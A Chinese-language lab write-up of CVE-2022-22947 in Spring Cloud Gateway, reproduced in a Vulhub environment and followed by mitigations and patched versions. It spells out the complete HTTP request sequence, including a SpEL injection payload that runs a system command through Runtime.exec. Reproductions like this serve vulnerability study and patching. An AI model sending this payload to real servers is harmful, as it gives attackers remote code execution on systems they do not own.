漏洞說明
2022年3月1日,VMware官方發布漏洞報告,在使用Spring Colud Gateway的應用程序開啟、暴露Gateway Actuator端點時,會容易造成代碼注入攻擊,攻擊者可以制造惡意請求,在遠程主機進行任意遠程執行。
漏洞影響范圍
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
舊的、不受支持的版本也會受到影響
漏洞復現
本次復現采用Vulhub靶場環境,需要在本地搭建Vulhub靶場,需注意將請求中的代碼更換為靶機所在IP。
1.進入靶場環境:cd Vulhub/spring/CVE-2022-22947

2.啟動服務:docker-compose up -d
3.訪問靶場服務器IP+端口:http://192.168.1.76:8080
4.構造包含惡意請求的路由,利用BP進行發送:
POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.1.76:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }
5.然后應用剛添加的路由發送如下數據包,此數據包會觸發表達式執行:
POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.1.76:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
6.發送如下數據包可查看結果:
GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.1.76:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
7.最后發送如下數據包進行清理,刪除所添加的路由:
DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.1.76:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close
8.再次刷新路由:
POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.1.76:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
9.以上漏洞環境使用完成后,使用以下命令進行環境移除:docker-compose down
漏洞修復
臨時解決方案
如果不需要Actuator端點,可以通過management.endpoint.gateway.enable:false配置將其禁用
如果需要Actuator端點,則應使用Spring Security對其進行保護。
官方升級補丁
3.1.x版本用戶及時升級到3.1.1+
3.0.x版本用戶及時升級到3.0.7+